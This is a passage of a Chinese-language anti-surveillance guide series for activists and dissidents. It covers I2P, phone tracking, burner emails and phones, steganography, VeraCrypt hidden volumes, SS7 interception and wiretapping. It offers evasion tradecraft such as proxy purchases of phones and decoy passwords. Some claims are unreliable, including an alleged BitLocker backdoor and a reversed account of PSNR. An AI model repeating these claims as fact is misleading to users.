任何网络都不能 “绝对匿名”。I2P 的持续目标是使攻击越来越难以进行。随着网络规模的扩大以及正在进行的学术审查，其匿名性将越来越强。

I2P可在台式机，嵌入式系统（如 Raspberry Pi）和 Android 手机上使用。

如果您不喜欢Tor，可以考虑尝试使用I2P。

你的手机

「图」

超过一半的热点数据隐私问题来自手机服务提供商；请注意，他们会将您手机的地理位置数据出售给付得起钱的任何人。再一次，在绝大多数国家都是如此。

不幸的是，只要您拥有智能手机，那么您几乎无法采取任何措施来防止这种情况，除非每天连续采取严厉措施。

“严厉措施” 是指，不使用手机时将SIM卡和电池全抠出来。或者随时放在法拉第袋中。（因为如今大多数手机无法抠出电池）。

不信吗？见下面：

- 《斯诺登：智能手机本身就是不安全的东西》
- 《你的手机如何背叛了民主？》
- 《你的手机就是秘密监视设备—推荐这个访谈视频》

低技术安全措施：规避和匿名提示

「图」

我们多次提到电子邮件地址有多危险，几乎和手机号同等。在下面回顾其中一些：

- 《如何侦查电子邮件和电话号码？开源情报调查工具》
- 《如何仅仅通过电子邮件挖到你的电话号码：一种新的开源情

报追踪方法》
- 《如何只用电子邮件地址追踪到 Twitter 帐户？》
- 《12个开源情报资源：挖掘电子邮件背后的秘密》

我们上传过一本书，专门讲述电子邮件的风险，《Hacker Highschool：LESSON 9 E-MAIL SECURITY》👈这里是下载链接。

所以，您应该致力于使用那些假的一次性电子邮件服务，比如 Maildrop。

尤其是，比如，Netflix 或 Hulu 之类的服务提供免费的限时试用期时，您都可以使用伪造的电子邮件地址获取他们的免费，而不是让他们拿走你的真实电邮地址。所有邀请你注册的新闻平台也一样。

尽可能不注册才是首选。顺便说别忘了👉《如何穿越付费墙：12个省钱大法》。

现在几乎每个网站都要求您创建一个帐户来访问其内容，这很讨厌；所以，您真的值得预备一些一次性的假的电邮地址。

我们在 《如何建立一个匿名社交媒体账户以保护个人数据的私密性？》介绍过更详细的方法。

很多网站要求您提供名字和电子邮件地址。要知道，没人强制要求您提供真实的名字和电邮，所以，你为什么要给他们真的呢？

无人能对攻击免疫

「图」

良好的生活习惯可以降低您无意间感染流行病的风险；这在互联网上也一样，良好的行为习惯能帮助您避免很多常见的攻击。

请记住，没有人能对网络攻击完全免疫，这里没有100%的安全，但安全是一个相对的概念，您只需要做到让自己比其他很多人都更安全，就可以了。

以下几个方法应该成为您的日常习惯。

A：学会跟进

识别网络攻击已经变得越来越困难。带有恶意链接的消息并不总是来

自陌生人的。

它们可能看起来就像是例行交流，或者似乎起源于您认识或与之合作的人。

攻击使用的是人类微妙的但根深蒂固的认知偏见 —— 人性的 bugs。这就是为什么我们要强调您理解 “社交工程” 栏目中介绍的内容，了解人类固有的弱点，以及防御方法。

还记得这个案例吗？☞攻击者伪装成国际大牌媒体记者和著名人权组织工作人员，通过加密通讯攻击敏感人士，见《警告：WhatsApp文本流中的恶意链接》。

值得庆幸的是，您可以使用一种简单的低技术方法来阻止这些攻击：在信任之前先跟进。

具体说就是：如果信息显示它来自您认识的人，去给那个人打个电话，或直接走到他/她面前，问一句：“这个是你发给我的吗？”

如果是您不认识的人，一概不接受就行了。

也是为什么我们说，您和您的队友之间应该有多种不同的联系方式，包括不同的通讯平台、电话、只有你们双方知道的会面地点和暗号等等。攻击者可能霸占其中一个，但很难霸占全部。

如果消息是真实的，那么请过几分钟再进行仔细检查，以确保没有任何危害。

如果不是这样，您应该立刻发出警报：您的熟人已经被入侵，以提醒相关的其他人小心。

B：主动使用并鼓励其他人使用端到端加密

仅仅您一个人使用安全通信是没用的，您应该鼓励您的朋友、同事、亲属都切换到 Signal 等应用程序。

没有人能独自一个人做到安全，《要想保护每个人的人权和安全，我们就需要联合》。

这并不意味着您必须完全停止使用其他通信方法，而是将其视为层次结构。

使用 Signal 表示应受信任的重要消息，仅对 “无关紧要” 的通信使用所有其他消息传递方法，例如SMS或社交网站。

所以，如果看起来 *很重要* 的请求或链接通过被定位为 *不重要* 的渠道出现在您面前，您应该立刻亮起红灯。

C：不要随便把什么东西插在自己的电子设备上

如果您在人行道的垃圾箱里捡到一个牙刷，您会把它塞进自己嘴里吗？

USB设备也是同样的道理。

也许您捡到一个拇指驱动器时会反思一下要不要插进自己的设备，但是，绝大多数人仍然不会怀疑公用的移动设备充电器，和路边小摊卖的**USB**电缆，这是很奇怪的事。

与电子邮件和一些文件共享服务会在文件到达计算机之前对其进行扫描和过滤不同，通过USB插入是直接的且不受保护的。

建立此连接后，用户无需执行任何其他操作即可发生许多可能的灾难。

通过USB连接，恶意软件和勒索软件等问题很容易感染您的设备。

无需宣誓USB连接的便利性，也不必完全避免使用这些设备。但您在任何一次插入之前都应该三思。如果要插入计算机，请确保格外小心。

请直接从制造商或有信誉的公司或具有供应链控制权的经销商处购买USB电缆，而不是街边小店和淘宝。充电时应该使用带有USB端口的壁式充电器。

很有必要养成健康的生活习惯，这是防卫的最佳姿势 —— 将一些认真的网络安全实践纳入您的新10年决议中吧，立即开始实施它们。〇

—— 未完待续 ——

原文

在雷达下低飞：变得难以被追踪的简单方法（7） - iyouport

难以被追踪难以被追踪（完成）

【2020年7月9日存档】有点技术含量，但并非旁门左道。

还记得本系列此前的内容吗？您可以在下面回顾：

- 《在不自由中创造自己的自由：变得难以被追踪的简单方法（1）》
- 《构建防御直觉是生存的基本功：变得难以被追踪的简单方法（2）》
- 《与S先生共度美好一天—反取证技巧：变得难以被追踪的简单方法（3）》
- 《保持零信任：变得难以被追踪的简单方法（4）》
- 《少即是多：变得难以被追踪的简单方法（5）》
- 《大保健应该成为习惯：变得难以被追踪的简单方法（6）》

这里是“难以被追踪”的第7集，本部分中介绍的技术可能要比普通人设想的程度更高一步，但绝非偏激，⚠ 如果您是政治异议、人权捍卫者、有明确的对手/仇家、希望自己在当下这个世界生活得更加安全，那么这些方法您一定要实施。

这个社会中有些人很傻，他们会对那些致力于让自己变得“难以被追踪”的人污名化，站在当权者的立场上说话；尤其是互联网，它鼓励每个人都成为社交蝴蝶，大胆宣传自己当天的饮食或穿着、甚至每时每刻的想法。那只是为了监视资本家赚钱而已，以你的人权为代价。

不要上当。真的，好人不会那么在乎你的私生活，而你晒的任何东西只能让坏人欣喜若狂。

变得难以被追踪并不是反社会或隐居，这是关于安全和人权的必要措施。

有些人出于绝对必要而努力变得难以被追踪，比如记者、活动家、人

权捍卫者、异议人士等等，对他们而言，自我保护已经成为一种生活方式。他们通常非常警惕，几乎在任何时候都不会提供太多个人信息。

对于另一些人而言，掌握一些难以被追踪的技巧就如家里备用的防水胶、电池或阿司匹林，你不知道什么时候就要用到的东西。

我们不是也不应该是社会价值观的俘虏。这就是在不自由社会中为自己创建一片自由的生活能力。

使用隐写术进行巧妙的欺骗

「图」

我们已经多次介绍过隐写术。它有很长久的历史，如今只是在数字技术方面的体现而已。

数字隐写术通常被错误地归类为加密形式，其实它俩截然不同。

的确，许多数字隐写术应用在嵌入过程中都提供了对机密文件进行加密的附加功能，因此，即使你的对手发现了隐藏的东西，在没有相应密码或密码短语的情况下，他们也无法读取机密数据。

隐写术比普通的加密更好在于，它从第一步就能欺骗你的对手，令对方难以注意到有东西藏在那里。

比如免费的电子邮件服务通常不提供端到端加密或公钥基础结构（PKI），您的私人电子邮件和相关附件可能会在其通过网络传输到目标IP地址的过程中被读取。这些免费电子邮件服务最多可以提供加密的电子邮件收件箱和标准的传输层安全性（TLS）加密。

您可以将浏览器扩展添加到 Chrome、Firefox 和其他浏览器中，提供使用PGP加密电子邮件的功能。加密很好，但它不是看起来那么保密。

依旧可以截取加密的数据包，并通过检查包头来确定发送者和目的地IP地址。使用VPN可以解决这个问题，但并不是完美的，因为VPN提供商仍然知道您的真实IP地址，并且该信息可以由政府和执法部门获取。还有些不可靠的VPN服务提供商会将您的私人浏览数据出售给第三方。

这种情况下隐写术就是最好的东西。监视者看到的是一张猫咪照片和

一切不起眼的闲聊，他们很可能不会怀疑“里面”有什么东西。

假设您要发送纯文本（未加密的）电子邮件，并带有隐秘文件附件，这时候您可以搞一些不起眼的文本，例如“嘿哥们，要不要一起吃个饭呢，看看我新买的这辆车怎么样？”。

而监视者看到的只是一堆无聊的闲侃和一张普通的照片。

而真实的文件在照片中加密隐藏，只有使用正确的钥匙（密码/短语）才能打开该文件。

数字隐写术应用程序可以将内容嵌入到几乎现有的任何类型的文件格式中（音频、文本，视频、图像、VoIP等）。*How digital steganography works; studentweb.niu.edu*

就算您不做任何政治敏感的工作，甚至对政治一无所知 …… 您有异地恋吗？您的伴侣正在出远门吗？也许你们之间会有一些希望私密的信息传输。只要双方都同意并具有法定年龄，这不是犯罪。但是，一旦拍摄了那些类型的照片或视频，就很有可能被以某种方式对您不利（例如 报仇色情或勒索），或者将其泄露出去。

安全的思考方式就是尽可能想到所有可能的威胁，并尽可能减轻风险。如果您将这种类型的资料存储在连接互联网的家用计算机或智能手机上，就有可能被盗和被泄漏。

对于您用来制作上述材料的任何摄像机或视频记录设备，都是如此。普通的数字取证工具就可以轻松定位和恢复已删除的文件。

- 《清空废纸篓无法真正”删除”文件，如何彻底删除以抵制任何取证工具？》
- 《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》

您可能还需要隐藏财务信息或密码列表。您也可以使用这种方法，把他们放入只有您一个人知道的极为普通的媒介里面。

互联网上有超过1200种不同的数字隐写应用程序可用。并非所有这些都是一样的，某些应用程序比其他的更成熟，也就是说代码编写得更好。

一些应用程序仅适用于音频、视频、文本或图像文件，而其他应用程序更强大，可以执行更多类型的数字隐写。

您已经熟悉 Mr.Robot 了？Elliot 使用 DeepSound 数字隐写应用程序将数据隐藏在音乐专辑中。为了执行音频或视频文件隐写，载体文件的大小需要大得多，以便能够嵌入隐藏的数据而不会引起音频/视频文件的明显“失真”。这称为峰值信噪比（PSNR），越低越容易避免被检测到。

我们会在将来详细介绍这一做法。不要错过相关其他技巧：

- 《Mr.Robot 如何摧毁邪恶公司？- 黑客主义行动力（1）》
- 《Elliot 如何骇客邪恶公司并保证无法被反向追踪：黑客主义行动力（2）》
- 《如何全面间谍任何人的智能手机私密活动—黑客主义行动力（3）》

这些数字隐写术应用程序中的许多都具有将强大的加密和压缩算法相结合的功能，以将私密文件隐藏在其他文件（称为载体文件）中。接收者在接收之前需要知道解密的钥匙是什么。

例如，Deepsound 为隐藏的文件提供 AES 256位加密，这是强大的加密，至少在量子计算成为真正的威胁之前。

创建隐藏在文件中的虚拟加密磁盘

「图」

您现在肯定已经知道在所有计算机和电子设备上实施全盘加密的重要性。例如您买了一个 iPhone，您已经知道苹果在手机上的全盘加密技术是一流的，但是，他们和政府间谍合作 …… 于是该公司的保护技术基本形同虚设。

如果FBI有破解 iPhone 加密的方法，那么您就能知道其他政府机构都有访问这些设备的方法，包括外国政府以及网络罪犯威胁者。

如果您拥有的是 Windows 7、8、8.1或10专业版，则可以选择 Microsoft Windows BitLocker 和 BitLocker-To-Go。

BitLocker 并不是整个HDD加密的最佳选择，原因有很多；Microsoft 保留了随时可以破解您的 BitLocker 和加密文件系统（EFS）密钥的后门功能。

Windows 系统上的“老大哥”访问权限使人们难以信任 BitLocker 的

加密，并且警察或政府间谍很容易闯入使用 BitLocker 或EFS加密的设备。

我们在本系列第一部分中介绍过 VeraCrypt，这是法国提供的免费加密应用程序，它允许用户在文件中创建虚拟加密磁盘并将其作为磁盘安装。

VeraCrypt 增强了用于系统和分区加密的算法的安全性，使其免受暴力破解攻击。

VeraCrypt 还解决了 TrueCrypt 中发现的许多漏洞和安全问题，在文件中创建虚拟加密磁盘并将其作为实际磁盘安装，加密整个分区或存储设备，如 USB 闪存驱动器或硬盘驱动器，加密安装 Windows 的分区或驱动器（预启动身份验证）。

加密是自动的、实时的、和透明的，并行化和流水线操作允许读取和写入数据，就像驱动器未加密一样快。

加密可以在现代处理器上进行硬件加速，如果对手强迫您泄露密码，则可以提供合理的拒绝：隐藏卷和隐藏的操作系统。

VeraCrypt 是一个用于建立和维护动态加密卷（数据存储设备）的软件，即时加密意味着数据在保存之前就会自动加密，并在加载后立即解密，无需任何用户干预。

整个文件系统被加密（例如，文件名、文件夹名、每个文件的内容、空闲空间、元数据等）。

可以将文件复制到已安装的 VeraCrypt 卷中，也可以将其复制到任何普通磁盘上（例如，通过简单的拖放操作）；在从加密的 VeraCrypt 卷读取或复制文件时，文件会在运行中（在内存/RAM 中）自动解密。

同样，正在写入或复制到 VeraCrypt 卷的文件会在 RAM 中自动加密（在它们写入磁盘之前）。

请注意，这并不意味着要加密/解密的整个文件必须先存储在RAM中才能加密/解密。VeraCrypt 没有额外的内存要求。

假设有一个 .avi 视频文件存储在 VeraCrypt 卷上（因此，视频文件是完全加密的），用户提供正确的密码（和/或密钥）并安装（打开）VeraCrypt 卷。

双击视频文件的图标时，操作系统启动与文件类型相关联的应用程序—通常是媒体播放器。然后，媒体播放器开始将视频文件的一小部分初始部分从 VeraCrypt 加密卷加载到 RAM（存储器）以便播放它。

在加载该部分时，VeraCrypt 会自动解密它（在 RAM 中）。然后，媒体播放器播放视频的解密部分（存储在 RAM 中）。

在播放此部分时，媒体播放器开始将另一小部分视频文件从 VeraCrypt 加密卷加载到 RAM，然后重复该过程。此过程称为动态加密/解密，适用于所有文件类型。

例如，在美国境外旅行或从国外返回美国时，这可能会很有用，因为您会被搜查电子设备；同样，在中国如果您认为自己有被警察搜查电子设备的风险，它也会有用。

如果您由于某种原因而被拘留，并且政府机构威胁您要求密码解锁您的加密驱动器。您就可以假装不情愿地给他们密码，他们只能看到被放置在外面的相对无害的东西。

删除元数据

「图」

这不是第一次提醒了。

麻省理工学院开发的一个名叫 Immersion 的程序，仅需使用元数据就可以绘制出你邮箱中所有电子邮件的发件人和收件人之间的可视化关系图。

这个工具可用于可视化地量化出谁对你最重要。程序甚至包含一个滑块式的时间标度，可以让你看到你认识的人对你的重要性随时间推移发生的起起伏伏。

尽管你可能认为你了解自己的关系，但用图形化的方式表达出来也许会给你带来清醒的认识。

你可能没意识到自己给不认识或了解不多的人发了如此多的电子邮件，却很少给你非常熟悉的人发邮件。

使用 Immersion工具，你可以选择是否上传数据，而且在图形绘制出来后，你也可以删除这些信息。

在将任何图像上传到网站或通过电子邮件发送给其他人之前，建议您首先通过元数据过滤应用程序，例如 AnalogExif、 ExifTool。

- 《都是工具，从自我保护到有效利用—— 亦正亦邪元数据 (下篇) 》

您需要担心的不仅仅上政府间谍，还有各种恶意者，他们会通过元数据对您在现实中进行跟踪伤害。您不值得冒这种风险。

监视资本家是隐私权的公敌

「图」

谷歌、Facebook 等监视资本家已经被国际特赦组织谴责为人权侵犯者，虽然有点晚，但依旧很重要。

在这里下载国际特赦组织的这份报告：https://t.me/iyouport/6553

Nithin Coca 写了一篇漂亮的文章，讲述了他为什么完全放弃使用 Google，以及为什么您也应该这样做。

如何您想要隐私人权和人身安全，谷歌不是您的朋友，Facebook、Twitte、Instagram 等等都不是您的朋友，他们赚到的钱都是通过出卖你得来的。每个人都应该知道这一点。

- 《Google 产品的替代品—完整列表》
- 全面摆脱监视资本家的工具列表《安全工具箱补充版：分类工具列表（2）》
- 隐私工具列表《安全手册》

不使用 Gmail 的另一个原因是，他们从供应商的广告中赚取了很大一部分利润，因此 Google 有明确的动机与第三方供应商共享您的电子邮件和 Google 搜索数据。这都是 big money 游戏，你我都是被他们吃剩下的骨头。

根据其透明度报告，Google 愿意遵守 “每年成千上万的搜查令和传票”，就是为什么当权者通过这些公司抓捕了如此多的人。在下面看到：

- 50年监禁！只因为说出了政府的阴谋《他们是如何抓捕说真话的人？⚠灾难和教训》

假设一个新的数字身份

「图」

如果您感到不知所措，并且需要为数字生活排毒，那么从现在开始控制自己的数字生活非常重要；尤其是，您需要开始清理曾经暴露在互联网上的一切 —— 那其中有可能为您带来危险的东西。

这也许是一项费时的工程，但非常有必要。而且要知道，信息一旦上了互联网，就很难彻底删除，要有这个思想准备。

但残留的越少安全性就越高，于是您依旧值得采取措施。☞我们在“开源情报”栏目中介绍的工具和方法大多可用于帮您检查自己的漏洞，您可以抢在包括政府间谍在内的恶意者之前采取行动弥补它们。

- 在设备上采取的方法《大清洗：反侦察的第一步》
- 在网络上采取的方法《自我人肉（1）》《自我人肉（2）》

如果您因为上瘾而不能放弃社交媒体帐户活动，也没关系；我们推荐过制作袜子木偶的方法（见下面）。制作并不难，关键在于维护 —— 您始终需要保持这些伪装身份不能以任何方式与您的真实身份相关联。

- 《如何快速创建一个假人？》
- 《分身术完整指南：妥善管理您的在线身份并获得安全的方法》
- 《角色扮演：行动者刚需》

如果您对此没有信心，也可以通过不定期更改社交媒体个人资料来至少缓解可能的风险 —— 包括用户名、ID、头像、简介、内容偏好等等。

一些黑客会这样做。他们在同一平台上以不同的角色维护多个不同的社交媒体帐户。

某些社交网站可能会限制您更改个人资料的频率，甚至要求您删除旧帐户并以新帐户重新开始。这些寡头社交媒体网站试图使您的退出变得尽可能困难，以防止用户放弃其服务，他们只为了保护他们自己的利益。而不是您的。

对于那些拥有大量社交媒体关注者的人可能不希望这样做，因为人们

可能不容易识别您的新个人资料，如果他们不认识您，则可能会取消关注。于是您需要权衡，究竟是虚拟的所谓知名度更重要，还是您的真实安全更重要。

如果粉丝经济是您的唯一收入来源，比如您经营网店或者做其他在线生意，那么建议您尽可能采取上述提到的分身方法，将吸引粉丝的角色和您的真实角色区分开。

- 自杀机器（http://suicidemachine.org/）是一个便于删除社交网络配置文件的工具。自杀机器已经被迫停止删除 Facebook 帐户，但有关如何执行此操作的说明如下：https://www.facebook.com/help/224562897555674
- AccountKiller（https://www.accountkiller.com）提供了有关如何删除大多数热门网站上的帐户或公开个人资料的说明。
- JustDelete Me（http://justdelete.me）是一个直接链接目录，用于从Web服务中删除帐户。

一些公司，例如 Lifelock 和 Experian，正在提供暗网扫描服务，作为身份盗窃监测工具。我的建议是您不需要在这种产品上浪费钱。这些扫描的作用不大，而且很可能只在极少数几个非法黑市中寻找。

暗网上有各种类型的隐藏服务和站点，其中一些仅由了解他们的个人与他们选择邀请的受信任人共享。这种几乎无法“扫描”出来。

如果您有投资这种东西的钱，还不如投资一些真实的自我保护技术，尤其是从日常操作习惯方面努力，您将看到真实的效果。

要想防御敌人，就需要像敌人一样思考。尽量不要让别人有理由注意到您、甚至追踪到您。在雷达下低飞。〇

—— 未完待续 ——

原文

到底也没有无法被监听的电话？：变得难以被追踪的简单方法（8） - iyouport

难以被追踪难以被追踪（完成）

【2020年7月17日存档】整体解释一下关于窃听的事，尤其是为什么重要场合您不应该使用手机

欢迎回来！

还记得本系列此前的内容吗？您可以在下面回顾：

- 《在不自由中创造自己的自由：变得难以被追踪的简单方法（1）》
- 《构建防御直觉是生存的基本功：变得难以被追踪的简单方法（2）》
- 《与S先生共度美好一天—反取证技巧：变得难以被追踪的简单方法（3）》
- 《保持零信任：变得难以被追踪的简单方法（4）》
- 《少即是多：变得难以被追踪的简单方法（5）》
- 《大保健应该成为习惯：变得难以被追踪的简单方法（6）》
- 《在雷达下低飞：变得难以被追踪的简单方法（7）》

手机本质上就是一个追踪设备

「图」

移动设备使用的蜂窝服务是无线形式的，依赖于蜂窝塔，即基站。为了保持连接，手机会持续不断地向离自己最近的一个或多个蜂窝塔发送信标信号。

这些塔对于信标信号的应答会被翻译成您手机上“信号格”的数量：一格也没有就表示没信号。

- 参加敏感的活动和恶聚会最好不要带自己的手机《你的手机如

何背叛了民主？》

为了以某种方式保护用户的身份，手机的信标使用了所谓的国际移动用户识别码（international mobile subscriber identity，IMSI），这是分配给SIM卡的一个独特数字。

它最初诞生的时候，蜂窝网络还需要知道你什么时候连接到它们的塔上，什么时候在漫游（即 使用其他运营商的蜂窝塔）。

IMSI码的第一部分指明了特定的移动网络运营商，其余部分则向该网络运营商标识了你的手机。

全球的警察已经制造出可以伪装成蜂窝基站的设备黄貂鱼，而且使用很多年了。这些设备是为拦截语音和短信而设计的。

- 《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？》

在美国，维稳部门和间谍机构也会使用其他设备来获取IMSI。

IMSI可以被即时获取，一秒钟都用不了，而且也不会发出预警。

通常人们会在大型集会上、也就是抗议活动现场，使用黄貂鱼，这样就可以让维稳部门在后方识别出谁在现场，尤其是那些不断打电话叫其他人加入的人 —— 作为召集者会最先被捕。

这样的设备也可应用于通勤服务和创建交通报告。在这种情况下，实际账号或IMSI并不重要，重要的是你的手机从一座塔到另一座塔或从一个地理区域到另一个地理区域的速度。

手机接近和远离每一座塔所用的时间可用来确定交通状况：堵塞、缓行或畅通。

只要你的移动设备开机，它就会连接到一些蜂窝塔。离你最近的塔会实际地处理你的电话、短信或互联网通话。

当你移动时，手机会与最近的塔进行回环应答（ping），如果有必要，你的通话也会从一座塔转移到另一座塔，同时还能保持连贯性。

附近的其他塔全都处于待命状态，这样当你从地点A移动到地点B并且进入了信号更好的另一座塔的区域时，信号就会平滑地切换，你应该也不会掉线。

可以这样说：移动设备发出一段特定的序列，这段序列会被多座单独的蜂窝塔记录下来。

所以，任何人只要查阅一座特定塔的日志，就可以看到在其全部区域内任意给定时间所有人的临时移动用户识别码（temporary mobile subscriber identity，TMSI），不管他们是否打过电话。

维稳部门可以、并且也确实会要求蜂窝运营商提供这些信息，包括特定持有人的后端账号身份，全球都是如此。

一般来说，如果只查看一座信号塔的日志，其数据可能仅仅表明某个人正在经过，而且他的设备连接到了一座待命的特定信号塔。

如果其间有通话或数据交换，那还会有关于那次通话和持续时间的记录。

☞然而，来自多座信号塔的日志可被用于精确定位一个用户的地理位置。

大多数移动设备每次会与3座或更多的塔进行回环应答。使用来自这些信号塔的日志，某人可以基于这些回环应答的相对强度，通过三角定位来确定该手机用户的一个相对准确的位置。

- 这个报告挺好的，是时候让大众清楚这点了《1200万部电话，一个数据集：利维坦眼中的世界》

所以，你每天带着到处走动的手机本质上就是一台间谍设备。

- 非常推荐斯诺登的这个访谈，他说的很清楚《你的手机就是秘密监视设备—Snowden访谈视频》

那么要如何避免被追踪呢？

「图」

与手机运营商签订合约需要姓名、地址和社保号码，此外还有一次信用检查，以确保你能付得起月租费。

一次性手机看上去是个不错的选择。如果你频繁更换（比如说每月甚至每周）预付费手机，也许就可以避免留下太多痕迹。不要错过已完成系列：

- 《如何做到完美隐身：直面你的对手—6大原则（1）》
- 《如何做到完美隐身：追踪者的手段和你的弱点（2）》
- 《如何做到完美隐身：思考方式是战略性的（3）》
- 《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》
- 《如何做到完美隐身：清扫和清点—信息篡改的重要步骤（5）》
- 《如何做到完美隐身：令人兴奋的心理过招（6）》
- 《如何做到完美隐身：扫荡危险区域（7）》

你的 TMSI 会出现在一座信号塔的日志中，然后又会消失。如果你购买手机时也很谨慎，用户账号就不会被追踪到。预付费手机服务仍然有用户账号，所以也会有分配给它的IMSI。

因此，一个人的匿名性取决于他获得一次性手机的方式。

假设你已经成功地与一部一次性手机的购买行为断绝了身份关系 ——您让一个与你无关的人使用现金购买了这部手机。

那么使用这种用后即抛的手机就不会被追踪了吗？简而言之，不行。

⚠这里就有一个警示故事：

*2007*年的一个下午，一个价值*5*亿美元的装满迷幻药的集装箱在澳大利亚墨尔本的一个港口丢失。臭名昭著的毒贩 *Pat Barbaro* 是这个集装箱的主人。他把手伸向自己的口袋，拿出自己*12*部手机中的一部，拨打了当地一位记者 *Nick McKenzie* 的号码。这位记者只知道打电话的人名叫 *Stan*。*Barbaro* 随后会使用他的另一部一次性手机给 *McKenzie* 发短信，试图匿名地从这位调查记者手里获得有关这个丢失的集装箱的信息。正如我们将会看到的那样，这种方法没用。

尽管很多人可能认为一次性手机是真正匿名的，但实际上并非如此。

根据美国的《法律执行通信协助法案》（Communications Assistance for Law Enforcement Act，CALEA），与一次性手机连接的所有IMSI都要上报，就像那些主流运营商的合约用户一样。

☞换句话说，警察可以根据日志文件找到特定的一次性手机，就像找到注册的合约手机一样简单。

尽管无法通过 IMSI 确定谁拥有这部手机，但也许可以通过使用模式来确认。

澳大利亚没有 CALEA，但执法人员仍然可以使用相当传统的方法密切监视 Barbaro 的众多手机。

比如，他们可能会注意到 Barbaro 首先用自己的个人手机打了一个电话，几秒钟后又在同一个基站的同一日志文件中看到来自他的某部一次性手机的电话或短信。

随着时间推移，这些 IMSI 在同一基站同时出现的频次会高于正常水平，这个事实可能就说明了它们属于同一个人。

Barbaro 有很多手机可以随便使用，但问题是，⚠不管他使用哪部手机，不管是个人手机还是一次性手机，只要他待在同一个地方，信号就会到达同一座蜂窝塔。

他的一次性手机总是出现在他注册的手机旁边。而这部注册手机已经在一家运营商那里关联了他的名字，完全可以被追踪，以帮助执法部门确定他的身份。

这为针对他的案件提供了确凿的证据—— 尤其是这种模式也在其他地方重复出现，帮助澳大利亚当局成功认定 Barbaro 组织策划了澳大利亚史上规模最大的迷幻药走私案并将其定罪。

记者 McKenzie 总结说："自从手机在我的口袋里振动、'Stan' 短暂地进入我生活的那天，我就格外清楚人们的通信会如何留下痕迹，不管他们有多谨慎。"

当然，你可以只用一部一次性手机。这就意味着你时不时需要使用预付卡或比特币匿名购买额外的使用时间。你可以在修改了无线网卡的MAC地址后使用一个公开的 Wi-Fi 安全地做到这件事，并且要躲开任何摄像头的视野。

☞或者雇一个陌生人去店里用现金购买预付费的手机和几张充值卡。这会增加成本，也可能不方便，但你会得到一部匿名的手机。

如果你可以渗透进SS7，你就可以操纵通话

「图」

- 关于SS7《什么是 SS7，据称中国正用它来窥探特朗普的手机？》

尽管蜂窝技术听起来可能很新潮，但它其实已经有超过40多年的历史

了，而且就像铜线电话系统一样，它传承着一些可能危害你的隐私的技术。

每一代手机技术都有新功能，主要目的是更高效地传输更多数据。

20世纪80年代的第一代手机（1G）让人们用上了移动通信技术。这些早期的1G网络和手持设备都是基于模拟技术的，而且它们使用的是现在已经停用的各种移动标准。

1991年，第二代（2G）数字网络推出。2G网络提供了两个标准：全球移动通信系统（GSM）和码分多址（CDMA）。它也推出了短消息服务（SMS）、非结构化补充数据业务（USSD）以及其他今天仍在使用的简单通信协议。

目前我们正处于4G/LTE阶段，正在向5G迈进。 无论运营商采用了哪一代技术（2G、3G、4G或4G/LTE），其底层都有一个国际性的信号协议，被称为信令系统（signaling system）。

这个信令系统协议及其他事物能帮助你在高速公路上驰骋，并且在从一座信号塔到切换到另一座信号塔时保持移动通话的顺畅连接。

☞它也可被用于监视。

7号信令系统（signaling system 7，SS7）基本上能够完成路由通话所必需的一切，比如：

- 为通话设置一个新连接；
- 当通话结束时中断连接；
- 正确地为通话计费；
- 管理呼叫转移、主叫方名称及号码显示、三方通话和其他智能网络（IN）服务等额外功能；
- 免费电话和长途电话；
- 无线服务，包括用户身份识别、运营商和移动漫游。

在德国柏林举办的年度计算机黑客大会—— 混沌通信大会（CCC）上，Sternraute 创始人 Tobias Engel 和安全研究实验室（Security Research Labs）的首席科学家 Karsten Nohl 在演讲中解释道，他们不仅可以定位世界上任何地方的呼叫者，还能窃听这些人的电话交谈。

而且如果无法实时窃听，他们也可以将加密的电话和文本录下来，之后再解密。

☞在安全领域，你的安全程度取决于你最薄弱的环节。

Engel 和 Nohl 发现，尽管北美和欧洲的发达国家已经在开发相对安全和隐私的3G、4G网络上投入了数十亿美元，但它们仍然必须使用SS7作为底层协议。

SS7可以处理呼叫建立、计费、路由和信息交换功能的整个过程。这意味着如果你渗透进SS7，你就可以操纵通话。

SS7允许攻击者利用尼日利亚这类国家的小型运营商获取欧洲或美国的电话呼叫。

Engel 说："这就像是你锁好了房子的前门，后门却大敞四开。"

这两位研究者测试了一种方法，当攻击者使用电话的呼叫转移功能时，SS7会将目标对象拨出的电话转移给自己，之后再通过会议模式（三方通话）将接听者拉进来。

一旦攻击者做好了安排，就可以窃听目标对象在世界任何地方拨出的所有电话。

攻击者可用的另一个策略是，设置无线电天线来收集一个给定区域内的所有蜂窝通话和短信。

对于任何加密的3G通话，攻击者都可以要求SS7提供正确的解密密钥。

"这全都是自动化的，只需要按一个按钮，这种间谍能力很完美，让我震惊，它可以被用来记录和解密几乎任何网络……任何我们测试过的网络都有效。"

然后 Nohl 列举了北美和欧洲几乎每一家重要的运营商，总共20家左右。

由于所有运营商为了提供服务都必须追踪它们的用户，所以SS7还提供了其他功能，如今仍然可以做到某种程度的远程监视。

在移动设备真正普及之前，窃听就已经存在了

「图」

Anita Busch 的噩梦始于2002年6月20日的那个早上，邻居急促的敲

门声惊醒了她。某个人在她的汽车风挡玻璃上留下了一个弹孔，当时她的车停在车道上。不仅如此，汽车的引擎盖上还留下了一朵玫瑰、一条死鱼和一张字条，上面写着一个词：“Stop”。

之后她知道自己的手机被窃听了，但并不是警察干的。 事实上，这个有一个弹孔和一条死鱼的场景是为了让人想起一部糟糕的好莱坞黑帮电影，由此就能理解其背后要表达的意思了。

Busch 是一位经验丰富的记者，她受《洛杉矶时报》的委托，刚刚开始几周的自由撰稿人工作，准备记录有组织犯罪在好莱坞日益增长的影响。

当时她正在调查 Steven Seagal 和他的前商业合作伙伴 Julius R. Nasso —— 调查已经表明，Nasso 正与纽约黑手党密谋向 Seagal 敲诈钱财。

发现她车上的那张字条之后，她又收到了一系列电话。打电话的人显然想告诉她一些关于 Seagal 的信息。再后来，Busch 了解到这个打电话的人受雇于 Anthony Pellicano，他曾经是洛杉矶的一个著名的私家侦探。

在 Busch 的车被人动了手脚之后，FBI 就已经怀疑 Pellicano 有非法窃听、贿赂、身份盗用和妨碍司法公正的行为了。

Busch 的有线电话已经被 Pellicano 窃听。通过窃听 Busch 的电话，Pellicano 知道她当时正在写一篇关于他的客户的新闻报道。放在她车子上的死鱼是想警告她，让她停手。

窃听通常不只与电话有关，美国与窃听相关的法律也覆盖了对电子邮件和即时消息的窃听。

这里的重点是有线电话的传统窃听。

有线电话是你家或公司里面用实际的线缆连接起来的电话，而窃听也真正涉及切入真实的线缆中。

